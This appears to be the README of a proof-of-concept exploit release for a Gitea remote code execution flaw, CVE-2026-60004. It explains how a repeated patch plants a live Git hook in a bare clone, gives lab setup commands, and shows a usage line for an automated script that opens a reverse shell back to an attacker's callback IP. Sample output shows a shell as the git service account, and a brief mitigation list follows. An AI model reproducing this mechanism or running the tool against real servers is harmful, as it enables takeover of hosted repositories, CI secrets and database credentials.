
CVE-2026-60004 — Updated!
Gitea diffpatch RCE
CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
Overview
CVE-2026-60004 is a Remote Code Execution (RCE) vulnerability in Gitea. The
diffpatchAPI applies a supplied patch withgit apply --cached, which should only touch the index and never write files to disk. By sending the same patch twice, an attacker forces an add/add collision that triggers Git's three-way merge fallback (-3). That path ignores--cachedand checks the file out to the working tree. Because the temporary clone is bare, its working tree root is$GIT_DIR. A patch that creates an executablehooks/post-index-changetherefore lands a live Git hook, which Git runs automatically on the next index update — executing commands as the Gitea service account. The endpoint needs repository write access, but registration is enabled by default, so any user who can sign up and create a repository can reach it.
Affected Versions
| Category | Version |
|---|---|
| Vulnerable | Gitea 1.17 ≤ version ≤ 1.27.0 |
| Patched | Gitea 1.27.1 or later |
Impact
- Remote Code Execution as the Gitea service account (
git) - Access to all hosted repositories, CI secrets, and database credentials
Environment
Build and run the vulnerable Gitea environment. Registration is left open and the
server ships Git 2.32+, which enables the -3 fallback the attack relies on.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Precondition | State in this lab |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ on the server (enables -3) | 2.54 |
| Open registration | enabled (default) |
| Repository write access | via self-registered account |
PoC
The exploit is fully automated by gitea_exploit.py. Given an account that can
create a repository, it creates the target repo, submits the same patch
repeatedly until Git's -3 fallback fires, and catches the reverse shell with a
built-in listener — no manual setup, patch crafting, or blob-hash math needed.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
The -3 fallback only fires in certain timing windows, so the script loops
create → send → send until it catches (default 25 attempts). When a send blocks,
the hook has fired and the listener drops you into a shell as git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Options:
--no-listen— catch the shell with your own externalncinstead of the built-in listener--user/--pw/--repo/--branch— override the default account and target repo
Mitigation
- Upgrade Gitea to 1.27.1 or later
- Disable open registration if not required (
DISABLE_REGISTRATION=true) - Restrict who can reach the instance and create repositories
Analysis
- KR: Coming soon!
- EN: